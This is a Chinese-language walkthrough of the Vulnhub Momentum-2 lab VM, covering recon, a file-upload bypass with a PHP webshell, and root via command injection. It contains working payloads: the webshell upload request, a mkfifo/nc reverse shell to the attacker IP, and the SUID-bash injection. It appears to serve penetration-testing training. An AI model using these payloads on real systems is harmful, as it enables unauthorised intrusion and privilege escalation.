当前位置: 首页 > news >正文

Vulnhub靶机实战:Momentum-2渗透测试全流程解析

1. 靶机环境搭建与网络配置

Momentum-2是Vulnhub平台上经典的Web渗透测试靶机,模拟了真实环境中常见的漏洞组合。我们先从最基本的虚拟机配置开始说起。下载完OVA文件后,用VMware Workstation导入时会遇到一个小坑——系统会提示"重试",这时候直接点击重试按钮就能继续。我测试过在VMware 15和17版本上都适用,但如果你用VirtualBox可能会遇到额外的兼容性问题。

导入成功后别急着开机,先右键选择"设置",把网络适配器改成NAT模式。这里有个经验之谈:很多初学者喜欢用桥接模式,但在实际渗透测试中,NAT模式更能模拟真实的内网环境,而且不会干扰你的物理网络。启动虚拟机后要快速按e键进入GRUB编辑模式,把启动参数里的"ro"改成"rw single init=/bin/bash",这个操作相当于Windows的安全模式,让我们可以修复网络配置。

修改/etc/network/interfaces文件时,vim的操作可能会难倒新手。记住几个关键命令:i进入编辑模式,Esc退出编辑,:wq!强制保存。配置完IP后,/etc/init.d/networking restart这个命令在某些Linux发行版上可能失效,这时候可以试试更通用的systemctl restart networking。

2. 信息收集与漏洞探测

2.1 网络发现与端口扫描

arp-scan -l这个命令比传统的netdiscover更高效,它能瞬间列出同网段所有活跃设备。我在实际测试中发现目标IP是192.168.202.148,但你的环境可能会不同。如果扫不到IP,建议重启靶机而不要重复配置网络,因为90%的情况是靶机没正常启动。

nmap的扫描策略很有讲究:先用-p-扫描全端口,发现开放22和80后再用-sC -sV深度探测。这里有个细节:-sT参数指定TCP全连接扫描,虽然比默认的SYN扫描慢,但在虚拟环境中更稳定。看到SSH服务时别急着爆破,现代Linux系统默认会阻止多次失败登录。

2.2 Web目录枚举实战

dirsearch比传统的dirb更高效,特别是-x 403参数能自动过滤禁止访问的目录。扫描结果中/js/main.js这个文件值得重点关注,前端JavaScript往往藏着API调用线索。我习惯用curl直接下载分析:

curl -o main.js http://192.168.202.148/js/main.js

dashboard.html页面的文件上传功能是突破点,但直接传PHP会被拦截。这时候老练的渗透师会立即想到检查备份文件,dirsearch的-f -e参数支持多种备份后缀扫描。发现ajax.php.bak简直是中大奖,它泄露了两个关键信息:

  1. 认证cookie的加密值
  2. 隐藏的secure参数验证逻辑

3. 漏洞利用与WebShell获取

3.1 绕过文件上传限制

通过分析备份文件,我们得知需要构造两个关键点:

  1. Cookie头要包含admin=&G6u@B6uDXMq&MsR
  2. POST数据中要有secure=val1d字段

用Burp Suite构造请求时要注意:

POST /ajax.php HTTP/1.1 Host: 192.168.202.148 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCa0DvSX5z70MIIrp Cookie: admin=&G6u@B6uDXMq&MsR ------WebKitFormBoundaryCa0DvSX5z70MIIrp Content-Disposition: form-data; name="secure" val1d ------WebKitFormBoundaryCa0DvSX5z70MIIrp Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/octet-stream <?php system($_GET['cmd']); ?>

这个PHP代码比直接用eval更安全,因为不会触发某些WAF的敏感函数检测。上传成功后,用AntSword连接时要注意URL编码问题,建议先用curl测试基本功能:

curl "http://192.168.202.148/owls/shell.php?cmd=id"

3.2 系统信息收集

拿到WebShell后首先要建立持久化连接,我推荐用:

mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.202.1 4444 >/tmp/f

记得先在攻击机用nc -lvp 4444监听。

查看/etc/passwd时重点关注有登录shell的用户(bash/sh),athena用户的home目录通常藏着第一个flag。密码提醒文件password-reminder.txt是个典型的人为疏忽,现实中经常能遇到类似情况。

4. 权限提升与Root获取

4.1 横向移动技巧

SSH登录athena用户时,密码myvulnerableapp*中的星号要注意转义:

ssh athena@192.168.202.148 # 输入密码时实际输入:myvulnerableapp\*

sudo -l命令显示可以无密码运行Python脚本,这类配置在CTF中很常见。关键是要仔细阅读cookie-gen.py的源码,发现最后有命令注入漏洞:

cmd = 'echo ' + cookie + ' >> log.txt'

4.2 利用SUID提权

经典的bash SUID提权分三步:

  1. 检查bash是否具有SUID权限:ls -l /bin/bash
  2. 通过注入给bash添加SUID位:
sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py ";chmod u+s /bin/bash"
  1. 启动特权bash:
/bin/bash -p

最后在/root目录找到flag文件时,可能会遇到权限问题。这时候可以用find命令全局搜索:

find / -name *flag* 2>/dev/null
http://www.jsqmd.com/news/560247/

相关文章:

  • 为什么鸿蒙游戏不是“移植”,而是“重做”
  • 2026年AI排版工具实测:3步实现公众号全自动排版 效率提升指南 - 小小智慧树~
  • RRT*算法进阶:从理论证明到PyTorch工程化调优与前沿探索
  • 思源宋体TTF:免费商用中文字体的终极解决方案
  • 从休眠到唤醒:深入解读AUTOSAR CanNm的Bus Load Reduction与Immediate Restart机制
  • 讲讲云桥科技资产公司介绍,在东南亚地区推荐选它吗? - myqiye
  • Google SRE实战:如何用SLI、SLO和Error Budget优化你的微服务稳定性
  • SDMatte智能Agent设计:自动判断图片类型并选择最优抠图策略
  • 2026浙江凯巨泵阀有限公司产品好用吗,性价比高不高 - 工业品牌热点
  • 麦克风静音的优雅控制:如何在忙碌中保持对话主动权
  • 如何用Sunshine开源游戏串流服务器打造家庭游戏共享平台?3步轻松上手
  • LeagueAkari英雄联盟工具集:新手快速上手指南与完整教程
  • 批量视频加图片水印工具使用指南
  • 为什么92%的Spring Cloud Function项目仍在忍受秒级冷启动?这4个被忽视的Classloader陷阱必须立即修复
  • Qwen3-Reranker-0.6B效果展示:长文档片段(32K)语义匹配能力实测
  • 揭秘Hermes 4 14B:开源AI如何用混合推理模式实现96.3%数学准确率
  • 告别手动复制粘贴:MeterSphere参数提取功能详解,让你的接口自动化测试效率翻倍
  • LLM 模型蒸馏与微调实操指南:让大模型更轻、更专、更强
  • Seelen-UI桌面环境:从杂乱到有序的Windows生产力革命
  • 说说江苏口碑好的构件砖厂家,鼎诚建筑陶瓷值得推荐吗? - myqiye
  • Nunchaku FLUX.1-dev 提示词工程入门:编写高质量Prompt的实用技巧与范例
  • STM32项目协作福音:用PlatformIO统一团队开发环境,告别‘我电脑上能跑’的尴尬
  • 服装打版辅助新思路:Nano-Banana软萌拆拆屋结构化拆解应用
  • 6 unsafe
  • 别再只用DataParallel了!PyTorch单机多卡训练保姆级教程(从DP到DDP实战避坑)
  • 重新定义AI角色互动:SillyTavern角色卡片技术全解析
  • OpCore Simplify:5分钟快速完成OpenCore EFI配置的终极完整指南
  • 技术创新解读:CIMPro孪大师在数字孪生领域的技术突破
  • 别再手动替换中文了!用VSCode插件du-i18n一键搞定前端项目多语言翻译
  • 3种核心场景掌握vue-vben-admin主题定制实战:从基础配置到高级应用